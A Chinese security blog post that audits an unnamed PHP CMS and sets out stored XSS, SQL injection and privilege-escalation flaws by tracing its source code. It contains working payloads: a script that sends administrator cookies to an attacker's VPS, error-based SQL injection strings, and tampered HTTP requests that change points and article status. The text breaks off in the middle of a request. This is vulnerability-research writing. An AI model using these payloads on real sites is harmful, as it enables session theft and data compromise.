某cms的一次审计

2020-06-12 约 1768 字 预计阅读 9 分钟

声明:本文 【某cms的一次审计】 由作者 xianyu123 于 2020-06-12 09:44:32 首发 先知社区 曾经 浏览数 178 次

感谢 xianyu123 的辛苦付出!

前言

记一次某cms的一次比较全面的审计(除了插件部分,我觉得应该审计的差不多了),大佬们轻喷。

其实插件部分已经被爱吃猫的闲鱼师傅审计发到先知上了

文章地址:某cms代码审计引发的思考

细心的朋友读完我这篇文章应该就能发现其实是同一个cms

网站目录结构

.
├── 404.html
├── A(admin后台的一些文件,审计重点)
├── Conf(一些网站的配置文件,公共函数)
├── FrPHP(框架)
├── Home(用户的一些文件,审计核心)
├── Public(上传文件保存的地方)
├── README.md
├── admin.php(后台入口)
├── backup(数据库备份文件)
├── cache(网站缓存)
├── favicon.ico
├── index.php(前台入口)
├── install(安装目录)
├── readme.txt
├── sitemap.xml
├── static(一些静态文件)
└── web.config

网站的一些公共函数

由于下面的漏洞需要频繁的用到这个函数,所以我就单独拿出来先讲解一下。

frparam()

/FrPHP/lib/Controller.php

// 获取URL参数值
    public function frparam($str=null, $int=0,$default = FALSE, $method = null){

        $data = $this->_data;
        if($str===null) return $data;
        if(!array_key_exists($str,$data)){
            return ($default===FALSE)?false:$default;
        }

        if($method===null){
            $value = $data[$str];
        }else{
            $method = strtolower($method);
            switch($method){
                case 'get':
                $value = $_GET[$str];
                break;
                case 'post':
                $value = $_POST[$str];
                break;
                case 'cookie':
                $value = $_COOKIE[$str];
                break;

            } 
        }

        return format_param($value,$int);


    }

第28行,返回值进行了一些处理,继续回溯跟进,format_param方法如下:

/FrPHP/common/Functions.php

/**
    参数过滤,格式化
**/
function format_param($value=null,$int=0){
    if($value==null){ return '';}
    switch ($int){
        case 0://整数
            return (int)$value;
        case 1://字符串
            $value=htmlspecialchars(trim($value), ENT_QUOTES);
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return $value;
        case 2://数组
            if($value=='')return '';
            array_walk_recursive($value, "array_format");
            return $value;
        case 3://浮点
            return (float)$value;
        case 4:
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return trim($value);
    }
}

这个函数用来处理数据,只会对数据进行一些简单的过滤,具体的就在上面的switch语句中

存储型xss

第一处存储型xss(只能打管理员cookie)

/Home/c/MessageController.php中的index方法

function index(){

        if($_POST){

            $w = $this->frparam();
            $w = get_fields_data($w,'message',0);

            $w['body'] = $this->frparam('body',1,'','POST');
            $w['user'] = $this->frparam('user',1,'','POST');
            $w['tel'] = $this->frparam('tel',1,'','POST');
            $w['aid'] = $this->frparam('aid',0,0,'POST');
            $w['tid'] = $this->frparam('tid',0,0,'POST');

            if($this->webconf['autocheckmessage']==1){
                $w['isshow'] = 1;
            }else{
                $w['isshow'] = 0;
            }

            $w['ip'] = GetIP();
            $w['addtime'] = time();
            if(isset($_SESSION['member'])){
                $w['userid'] = $_SESSION['member']['id'];
            }
......
......
......
......

这里第20行$w['ip'] = GetIP();,然后我们回溯,去找到GetIP()函数

/FrPHP/common/Functions.php

function GetIP(){ 
  static $ip = '';
  $ip = $_SERVER['REMOTE_ADDR'];
  if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
    $ip = $_SERVER['HTTP_CDN_SRC_IP'];
  } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
  } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
    foreach ($matches[0] AS $xip) {
      if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
        $ip = $xip;
        break;
      }
    }
  }
  return $ip;
}

这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']进行过滤,我们只需要在http头中传入CDN-SRC-IP字段即可

我们可以本地新建一个test.php对该函数进行输出,是可以传入任意字符的

<?php
function GetIP(){
    static $ip = '';
    $ip = $_SERVER['REMOTE_ADDR'];
    if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
        $ip = $_SERVER['HTTP_CDN_SRC_IP'];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
        foreach ($matches[0] AS $xip) {
            if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                $ip = $xip;
                break;
            }
        }
    }
    return $ip;
}
echo GetIP();

然后我们跟进,找到view模版

/A/t/tpl/message-details.html大约在文件的第86到94行,核心代码如下

......
......
......
<div class="layui-form-item">
<label for="ip" class="layui-form-label">
<span class="x-red">*</span>留言IP
</label>
<div class="layui-input-block">
<input type="text" id="ip" value="{$data['ip']}"   name="ip" 
autocomplete="off" class="layui-input">
</div>
</div>
......
......
......

然后我们看到第9行<input type="text" id="ip" value="{$data['ip']}" name="ip" autocomplete="off" class="layui-input">,这里是可以直接xss的

payload:

"><script src="你的vps-ip/4.js"></script>

4.js内容如下

var image=new Image();
image.src="你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后我们提交留言

然后在vps上监听10006端口,当管理员点击编辑的时候,就会触发xss

这里的一个弊端,ip并没有显示在外面,很可惜,所以必须要诱导管理员点编辑才可以触发

第二处存储型xss(只能打管理员cookie)

/Home/c/UserController.phprelease()方法的大约第1066行开始,这里的截取了部分关键代码,如下:

switch($w['molds']){
            case 'article':
                if(!$data['body']){

                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
                    }else{
                        Error('内容不能为空!');
                    }
                }
                if(!$data['title']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
                    }else{
                        Error('标题不能为空!');
                    }
                }
                $data['body'] = $this->frparam('body',4);
                $w['title'] = $this->frparam('title',1);
                $w['seo_title'] = $w['title'];
                $w['keywords'] = $this->frparam('keywords',1);
                $w['litpic'] = $this->frparam('litpic',1);
                $w['body'] = $data['body'];
                $w['description'] = newstr(strip_tags($data['body']),200);


                break;
            case 'product':
                if(!$data['body']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
                    }else{
                        Error('内容不能为空!');
                    }
                }
                if(!$data['title']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
                    }else{
                        Error('标题不能为空!');
                    }
                }
                $w['title'] = $this->frparam('title',1);
                $w['seo_title'] = $w['title'];
                $w['litpic'] = $this->frparam('litpic',1);
                $w['keywords'] = $this->frparam('keywords',1);
                $w['pictures'] = $this->frparam('pictures',1);
                if($this->frparam('pictures_urls',2)){
                    $w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
                }
                $data['body'] = $this->frparam('body',4);
                $w['body'] = $data['body'];
                if($this->frparam('description',1)){
                    $w['description'] = $this->frparam('description',1);
                }else{
                    $w['description'] = newstr(strip_tags($data['body']),200);
                }

                break;
            default:

                break;
        }

因为上面我们已经介绍过了frparam函数,所以这里不再重复

第22行$w['litpic'] = $this->frparam('litpic',1);

因为我本地并没有配置get_magic_quotes_gpc,所以这里只是对输入的内容进行了htmlspecialcharsaddslashes处理,然后我们再看最后的落点,也就是在/A/t/tpl/article-list.html模版这里进行填充数据

/A/t/tpl/article-list.html关键代码大约在文件的第147行至第153行,如下:

<script type="text/html" id="litpic">
            222#  if(!d.litpic){ }}
            
            222#  } else{ }}
            <a href="222d.litpic}}" target="_blank"><img src="222d.litpic}}" width="100px" /></a>
            222#  } }}
        </script>

在上述关键代码的第5行就是填充的数据

所以我们构造payload:

javascript:window.location.href='你的vps-ip?'%2Bdocument.cookie

然后我们只需要发布一篇新文章,然后修改litpic字段即可

然后在后台网站管理——内容列表中

当管理员点开这个缩略图的时候,就可以得到管理员的cookie

第三处存储型xss(只能打管理员cookie)

/Home/c/UserController.php中的userinfo()方法,大约第129行,关键代码如下:

function userinfo(){
        $this->checklogin();
        if($_POST){
            $w = $this->frparam();
            $w['tel'] = $this->frparam('tel',1);
            $w['pass'] = $this->frparam('password',1);
            $w['sex'] = $this->frparam('sex',0,0);
            $w['repass'] = $this->frparam('repassword',1);
            $w['username'] = $this->frparam('username',1);
            $w['email'] = $this->frparam('email',1);
            $w['litpic'] = $this->frparam('litpic',1);
            $w['signature'] = $this->frparam('signature',1);

......
......
......

在上述代码的第11行,同样也是因为缩略图的问题,被加载在了/A/t/tpl/member-list.html中的第115行

,cols: [[ //表头
                  {field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}
                  ,{type:'checkbox'}
                  ,{field: 'isshow', title: '状态',width: 100,templet:'#isshow'}
                  ,{field: 'username', title: '用户名',width: 150, sort: true}
                  ,{field: 'new_gid', title: '分组',width:150}
                  ,{field: 'tel', title: '手机号',width:200,  sort: true}
                  ,{field: 'email', title: '邮箱',width:150,  sort: true}
                  ,{field: 'new_litpic', title: '头像',width:150} 
                  ,{field: 'jifen', title: '积分',width:150} 
                  ,{field: 'money', title: '余额',width:150} 
                  {foreach $fields_list as $v},{field: '{$v['field']}',width:150, title: '{$v['fieldname']}'}{/foreach}

                  ,{field: 'new_regtime', title: '加入时间',width:160}
                  ,{field: 'new_logintime', title: '登录时间',width:160}
                  {if(checkAction('Member/memberedit') || checkAction('Member/member_del'))}
                  ,{field: '', title: '操作',width:260, toolbar: '#rightbar', fixed:'right'}
                  {/if}

这里也是可以打cookie的,跟上述一样,为了演示方便就选择了弹窗

sql注入

第一处sql注入

/Home/c/MessageController.php中的index方法

function index(){

        if($_POST){

            $w = $this->frparam();
            $w = get_fields_data($w,'message',0);

            $w['body'] = $this->frparam('body',1,'','POST');
            $w['user'] = $this->frparam('user',1,'','POST');
            $w['tel'] = $this->frparam('tel',1,'','POST');
            $w['aid'] = $this->frparam('aid',0,0,'POST');
            $w['tid'] = $this->frparam('tid',0,0,'POST');

            if($this->webconf['autocheckmessage']==1){
                $w['isshow'] = 1;
            }else{
                $w['isshow'] = 0;
            }

            $w['ip'] = GetIP();
            $w['addtime'] = time();
            if(isset($_SESSION['member'])){
                $w['userid'] = $_SESSION['member']['id'];
            }
......
......
......
......

这里第20行$w['ip'] = GetIP();,然后我们回溯,去找到GetIP()函数

/FrPHP/common/Functions.php

function GetIP(){ 
  static $ip = '';
  $ip = $_SERVER['REMOTE_ADDR'];
  if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
    $ip = $_SERVER['HTTP_CDN_SRC_IP'];
  } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
  } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
    foreach ($matches[0] AS $xip) {
      if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
        $ip = $xip;
        break;
      }
    }
  }
  return $ip;
}

这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']进行过滤,我们只需要在http头中传入CDN-SRC-IP字段即可

我们可以本地对该函数进行输出,是可以传入任意字符的,上面的xss漏洞处已经做过演示了,这里就不再重复赘述了。

然后我们继续跟进,在/Home/c/MessageController.php中的第76行$res = M('message')->add($w);,这个add方法是Frphp框架的一个插入数据表的方法

/FrPHP/lib/Model.php中的add方法

// 新增数据
    public function add($row)
    {
       if(!is_array($row))return FALSE;
        $row = $this->__prepera_format($row);
        if(empty($row))return FALSE;
        foreach($row as $key => $value){
            if($value!==null){
                $cols[] = $key;
                $vals[] = '\''.$value.'\'';
            }
        }
        $col = join(',', $cols);
        $val = join(',', $vals);
        $table = self::$table;
        $sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
        if( FALSE != $this->runSql($sql) ){
            if( $newinserid = $this->db->lastInsertId() ){
                return $newinserid;
            }else{
                $a=$this->find($row, "{$this->primary} DESC",$this->primary);
                return array_pop($a);
            }
        }
        return FALSE;
    }

显然,第10行的$value我们可控(前面的ip可控),而且这里也并没有对插入数据表的数据进行过滤,所以这里存在sql注入,这里可以直接进行报错注入

查询当前用户payload:

2' and extractvalue(0x0a,concat(0x0a,(select user()))) and '1

第二处sql注入

/Home/c/UserController.php中的release方法中的关键代码如下:

//文章发布和修改
    function release(){
    $this->checklogin();
    error_reporting(E_ALL^E_NOTICE);

    if($_POST){
        $data = $this->frparam();
........
........
........
                $w['tid'] = $this->frparam('tid');
        if(!$w['tid']){
            if($this->frparam('ajax')){
                JsonReturn(['code'=>1,'msg'=>'请选择分类!']);
            }else{
                Error('请选择分类!');
            }

        }
      $w['molds'] = $this->classtypedata[$w['tid']]['molds'];
      $w = get_fields_data($data,$w['molds']);
........
........
........
          if($this->frparam('id')){
            $a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);

上述代码第7行$data = $this->frparam()frparam()方法前面已经提过了,这里就不再累赘重复了

这里是用来接收值的,如果是post传输的,就接收所有post的值,并且不进行过滤。

然后第11行代码$w['tid'] = $this->frparam('tid');,这里会接收参数名为tid的值,并且会进行return (int)$value;处理,这样传入1'就不行了,但是没关系,我们接着看第21行$w = get_fields_data($data,$w['molds']);,我们回溯一下get_fields_data()方法

/Conf/Functions.php

function get_fields_data($data,$molds,$isadmin=1){
     if($isadmin){
         $fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
     }else{
         //前台需要判断是否前台显示
         $fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
     }
     foreach($fields as $v){
         if(array_key_exists($v['field'],$data)){
             switch($v['fieldtype']){
                 case 1:
                 case 2:
                 case 5:
                 case 7:
                 case 9:
                 case 12:
                 $data[$v['field']] = format_param($data[$v['field']],1);
                 break;
                 case 11:
                 $data[$v['field']] = strtotime(format_param($data[$v['field']],1));
                 break;
                 case 3:
                 $data[$v['field']] = format_param($data[$v['field']],4);
                 break;
                 case 4:
                 case 13:
                 $data[$v['field']] = format_param($data[$v['field']]);
                 break;
                 case 14:
                 $data[$v['field']] = format_param($data[$v['field']],3);
                 break;
                 case 8:
                 $r = implode(',',format_param($data[$v['field']],2));
                 if($r!=''){
                     $r = ','.$r.',';
                 } 

                 $data[$v['field']] = $r;
                 break;

             }
         }else if(array_key_exists($v['field'].'_urls',$data)){
             switch($v['fieldtype']){
                 case 6:
                 case 10:
                 $data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
                 break;
             }
         }else{

            $data[$v['field']] = '';      

         }

     }
     return $data;

 }

因为我们不是admin,所以我们会执行第6行代码$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');

这里我post传入参数,简单的debug了一下,如下

所以上述代码$fields['field']是不存在的,所以只会执行第51行代码$data[$v['field']] = '';,所以第56行返回的代码就是$data = $this->frparam();,这也就解释了为什么中间对tip进行过滤,但为什么最后依然还是存在注入,这应该是个严重的开发失误。

然后我们接着回溯update()方法

/FrPHP/lib/Model.php

// 修改数据
    public function update($conditions,$row)
    {
        $where = "";
        $row = $this->__prepera_format($row);
        if(empty($row))return FALSE;
        if(is_array($conditions)){
            $join = array();
            foreach( $conditions as $key => $condition ){
                $condition = '\''.$condition.'\'';
                $join[] = "{$key} = {$condition}";
            }
            $where = "WHERE ".join(" AND ",$join);
        }else{
            if(null != $conditions)$where = "WHERE ".$conditions;
        }
        foreach($row as $key => $value){
            if($value!==null){
                $value = '\''.$value.'\'';
                $vals[] = "{$key} = {$value}";
            }else{
                $vals[] = "{$key} = null";
            }

        }
        $values = join(", ",$vals);
        $table = self::$table;
        $sql = "UPDATE {$table} SET {$values} {$where}";
        return $this->runSql($sql);


    }

/Home/c/UserController.php关键代码中的第25-26行,虽然25行if($this->frparam('id'))id进行了过滤,但是第26行$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);这里update插入的是最原始的数据,,=也就是$w = get_fields_data($data,$w['molds']);。虽然$conditions也就是条件被过滤了,但是不影响我们注入。

所以这里的idmoldstid三个字段都存在sql注入

第三处sql注入

/Home/c/UserController.php中的userinfo()方法中的关键代码如下:

function userinfo(){
        $this->checklogin();
        if($_POST){
            $w = $this->frparam();
            $w['tel'] = $this->frparam('tel',1);
            $w['pass'] = $this->frparam('password',1);
            $w['sex'] = $this->frparam('sex',0,0);
            $w['repass'] = $this->frparam('repassword',1);
            $w['username'] = $this->frparam('username',1);
            $w['email'] = $this->frparam('email',1);
            $w['litpic'] = $this->frparam('litpic',1);
            $w['signature'] = $this->frparam('signature',1);
            $w = get_fields_data($w,'member',0);
........
........
........
            $re = M('member')->update(['id'=>$this->member['id']],$w);
            $member = M('member')->find(['id'=>$this->member['id']]);
            unset($member['pass']);
            $_SESSION['member'] = array_merge($_SESSION['member'],$member);
            if($this->frparam('ajax')){
                JsonReturn(['code'=>0,'msg'=>'修改成功!']);
            }
            Error('修改成功!');

这里我们对比一下我post抓包后的字段,我们发现有3个字段没有进行过滤,分别是provincecityaddress这三个字段

然后第17行$re = M('member')->update(['id'=>$this->member['id']],$w);所有字段依旧被update更新了,所以这里就存在了注入,还是一个报错注入,如果不回显报错也没有关系的,这里存在时间盲注,也是可以注入的

payload:

1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '

province字段演示

city字段演示

address字段演示

逻辑漏洞

第一处逻辑漏洞——任意订单查看

首先注册两个账号,账号A和账号B

然后用账号B购买一些商品,产生交易记录和订单号码

然后在A用户这里我的钱包——交易记录可以看到其他人的交易订单

而且这里的订单号明显是更具时间戳进行命名的,我用其他A账户也可以直接访问到B账户的一些订单信息

然后我们来分析为什么

/Home/c/UserController.php

//购买列表
    function buylist(){
        $this->checklogin();
        //兑换记录
        $page1 = new Page('buylog');
        $this->type = $this->frparam('type',0,1);
        if($this->type==1){
            $sql =" buytype='money' and type=2 ";
        }else if($this->type==2){
            $sql =" buytype='jifen' and type=1 ";
        }else{
            $sql = " type=3 ";
        }

        $data1 = $page1->where($sql)->orderby('addtime desc')->page($this->frparam('p',0,1))->go();
        $page1->file_ext = '';
        $pages1 = $page1->pageList(5,'?p=');
        $this->pages1 = $pages1;
        foreach($data1 as $k=>$v){
            $data1[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
            $data1[$k]['details'] = U('user/buydetails',['id'=>$v['id']]);
        }
        $this->lists1 = $data1;//列表数据
        $this->sum1 = $page1->sum;//总数据
        $this->listpage1 = $page1->listpage;//分页数组-自定义分页可用
        $this->prevpage1 = $page1->prevpage;//上一页
        $this->nextpage1 = $page1->nextpage;//下一页
        $this->allpage1 = $page1->allpage;//总页数
        //订单记录
        $page = new Page('orders');
        $this->type = $this->frparam('type',0,1);
        if($this->type==1){
            $sql =" ptype=1 ";
        }else{
            $sql =" ptype=2 ";
        }
        $sql.="  and isshow!=0  ";
        $data = $page->where($sql)->orderby('addtime desc')->page($this->frparam('page',0,1))->go();
        $page->file_ext = '';
        $pages = $page->pageList(5,'?page=');
        $this->pages = $pages;
        foreach($data as $k=>$v){
            $data[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
            $data[$k]['orderdetails'] =  U('user/orderdetails',['orderno'=>$v['orderno']]);
            $data[$k]['orderdel'] =  U('user/orderdel',['orderno'=>$v['orderno']]);
            $data[$k]['buytype'] = M('buylog')->getField(['orderno'=>$v['orderno']],'type');
        }
        $this->lists = $data;//列表数据
        $this->sum = $page->sum;//总数据
        $this->listpage = $page->listpage;//分页数组-自定义分页可用
        $this->prevpage = $page->prevpage;//上一页
        $this->nextpage = $page->nextpage;//下一页
        $this->allpage = $page->allpage;//总页数

        $this->display($this->template.'/user/buy-list');
    }

可以看到第15行,这里在查询数据的时候,并没有查询某个特定用户,而是把所有人的购买记录都查询出来了,这样的话其他人都可以看到你的订单,你也可以看到其他人的订单。这里其实是开发者的问题,由于开发的失误才会导致这个问题。

第二处逻辑漏洞——越权修改用户自己的积分

这里我们先演示一下结果,然后再去分析

首先我们注册一个账号,然后在后台看他的积分,是1积分

然后我们登录这个账号,然后在资料账户这里点提交抓包

然后在post字段中添加jifen=1234,发包

然后去后台看积分,发现积分已经被修改成了1234

接下来我们来分析一下为什么会这样

上面的用户资料账户的代码在/Home/c/UserController.php中的userinfo方法里

function userinfo(){
        $this->checklogin();
        if($_POST){
            $w = $this->frparam();
            $w['tel'] = $this->frparam('tel',1);
            $w['pass'] = $this->frparam('password',1);
            $w['sex'] = $this->frparam('sex',0,0);
            $w['repass'] = $this->frparam('repassword',1);
            $w['username'] = $this->frparam('username',1);
            $w['email'] = $this->frparam('email',1);
            $w['litpic'] = $this->frparam('litpic',1);
            $w['signature'] = $this->frparam('signature',1);
            $w = get_fields_data($w,'member',0);
            if($w['tel']!=''){
                if(preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){  

                }else{  
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'手机号码格式错误!']);
                    }
                    Error('手机号码格式错误!');

                }
                //檢查是否已經註冊
                $r = M('member')->find(['tel'=>$w['tel']]);
                if($r){
                    if($r['id']!=$this->member['id']){

                        if($this->frparam('ajax')){
                            JsonReturn(['code'=>1,'msg'=>'手机号已被注册!']);
                        }
                        Error('手机号已被注册!');
                    }
                }
            }
            if($w['username']==''){
                if($this->frparam('ajax')){
                    JsonReturn(['code'=>1,'msg'=>'账户不能为空!']);
                }
                Error('账户不能为空!');
            }
            if($w['pass']!=$w['repass'] && $w['pass']!=''){
                if($this->frparam('ajax')){
                    JsonReturn(['code'=>1,'msg'=>'两次密码不同!']);
                }
                Error('两次密码不同!');
            }
            if($w['email']){
                $r = M('member')->find(['email'=>$w['email']]);
                if($r){
                    if($r['id']!=$this->member['id']){
                        if($this->frparam('ajax')){
                            JsonReturn(['code'=>1,'msg'=>'邮箱已被使用!']);
                        }
                        Error('邮箱已被使用!');
                    }
                }
            }

            $r = M('member')->find(['username'=>$w['username']]);
            if($r){
                if($r['id']!=$this->member['id']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'昵称已被使用!']);
                    }
                    Error('昵称已被使用!');
                }
            }
            if($w['pass']!=''){
                $w['pass'] = md5(md5($w['pass']).md5($w['pass']));
            }else{
                unset($w['pass']);
                unset($w['repass']);
            }
            $re = M('member')->update(['id'=>$this->member['id']],$w);
            $member = M('member')->find(['id'=>$this->member['id']]);
            unset($member['pass']);
            $_SESSION['member'] = array_merge($_SESSION['member'],$member);
            if($this->frparam('ajax')){
                JsonReturn(['code'=>0,'msg'=>'修改成功!']);
            }
            Error('修改成功!');

        }

        $this->display($this->template.'/user/userinfo');

    }

然后我们再来看admin那里修改用户积分的代码

/A/c/MemberController.php

function memberedit(){
        $this->fields_biaoshi = 'member';
        if($this->frparam('go')==1){
            $data = $this->frparam();
            $data = get_fields_data($data,'member');
            $data['username'] = $this->frparam('username',1);
            $data['email'] = $this->frparam('email',1);
            $data['litpic'] = $this->frparam('litpic',1);
            $data['address'] = $this->frparam('address',1);
            $data['province'] = $this->frparam('province',1);
            $data['city'] = $this->frparam('city',1);
            $data['signature'] = $this->frparam('signature',1);
            $data['birthday'] = $this->frparam('birthday',1);
            if($data['pass']!=''){
                if($data['pass']!=$data['repass']){
                    JsonReturn(array('code'=>1,'msg'=>'两次密码不同!'));
                }
                $data['pass']  =  md5(md5($data['pass']).md5($data['pass']));
            }else{
                unset($data['pass']);
            }
            if(M('member')->update(array('id'=>$data['id']),$data)){
                JsonReturn(array('code'=>0,'msg'=>'修改成功!'));
            }else{
                JsonReturn(array('code'=>1,'msg'=>'修改失败,请重新提交!'));
            }



        }

        $this->data = M('member')->find(['id'=>$this->frparam('id')]);
        if(!$this->data){
            Error('没有找到该用户!');
        }

        $this->display('member-edit');
    }

admin处修改的post表单如下:

POST /admin.php/Member/memberedit.html HTTP/1.1
Host: www.**.net
Content-Length: 159
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.**.net
Referer: http://www.**.net/admin.php/Member/memberedit/id/3.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cdjbtp3sjhc70tg6pko7jguls5
Connection: close

go=1&id=3&email=333%40qq.com&tel=13011111111&username=13011111111&gid=1&jifen=1234.00&litpic=&file=&birthday=&signature=&province=&city=&address=&pass=&repass=

也就是说这里表单会传递一个jifen字段提交给后端,然后update写入到数据库中,但是并没有判断是用户传递的还是admin传递的,这就造成了用户在修改资料的时候,直接提交一个jifen字段即可

所以我们就在用修改用户资料的地方直接传入一个参数jifen=1234就可以修改积分了

POST /user/userinfo.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/userinfo.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432
Upgrade-Insecure-Requests: 1

litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4&jifen=1234

第三处逻辑漏洞——越权修改自己的文章状态

这里我们先演示一下结果,然后再去分析

首先我们注册一个账号,然后点发布文章,随便发布一篇文章

然后在后台看到记录

然后我们在提交文章的地方添加字段ishot=1

然后就可以看到文章是热属性了,虽然文章还没有被审核

跟第一个越权漏洞类似,该漏洞也是因为在用户端没有过滤参数所导致的,这样可以让用户进行恶意传递参数来导致文章的状态被修改

/A/c/ArticleController.php

......
......
......
if($this->frparam('title',1)!=''){
    $sql.=" and title like '%".$this->frparam('title',1)."%' ";
}
if($this->frparam('shuxing')){
                if($this->frparam('shuxing')==1){
                    $sql.=" and istop=1 ";
                }
                if($this->frparam('shuxing')==2){
                    $sql.=" and ishot=1 ";
                }
                if($this->frparam('shuxing')==3){
                    $sql.=" and istuijian=1 ";
                }

            }
$data = $page->where($sql)->orderby('istop desc,orders desc,id desc')->limit($this->frparam('limit',0,10))->page($this->frparam('page',0,1))->go();
            $ajaxdata = [];
foreach($data as $k=>$v){

                if($v['ishot']==1){
                    $v['tuijian'] = '热';
                }else if($v['istuijian']==1){
                    $v['tuijian'] = '荐';
                }else if($v['istop']==1){
                    $v['tuijian'] = '顶';
                }else{
                    $v['tuijian'] = '无';
                }

......
......
......

这里是三种状态,ishot=1代表热,istuijian=1代表荐,istop=1代表顶,如果什么都没有那就是无

所以只需要在用户发布文章的地方添加字段ishot=1或者istuijian=1或者istop=1即可

POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 119
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432

ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hoht&litpic=&description=hot&body=%3Cp%3Ehot%3Cbr%2F%3E%3C%2Fp%3E&ishot=1

第四处逻辑漏洞——越权修改别人已发表的文章为未审核

/Home/c/UserController.php中的release()方法

//文章发布和修改
    function release(){
......
......
......
......
......  
        $molds = $this->frparam('molds',1,'article');
        $tid = $this->frparam('tid',0,0);
        if($this->frparam('id')){
            $this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
            $molds = $this->data['molds'];
            $this->moldsdata = M('molds')->find(['biaoshi'=>$molds]);
            $tid = $this->data['tid'];
        }else{
            $this->data = false;
        }
        $this->molds = $molds;
        $this->tid = $tid;
        $this->classtypetree =  get_classtype_tree();
        $this->display($this->template.'/user/article-add');

    }

上述代码第10行至第21行,if($this->frparam('id'))这里对id并没有判断到底是改用户的文章还是其他用户对文章,导致可以对任意用户对文章进行修改,即把他们的文章变成自己的文章

下面是演示结果:

这里首先需要你发表过文章,不需要审核,只需要发布即可。然后进入编辑模式,点提交,抓包

POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
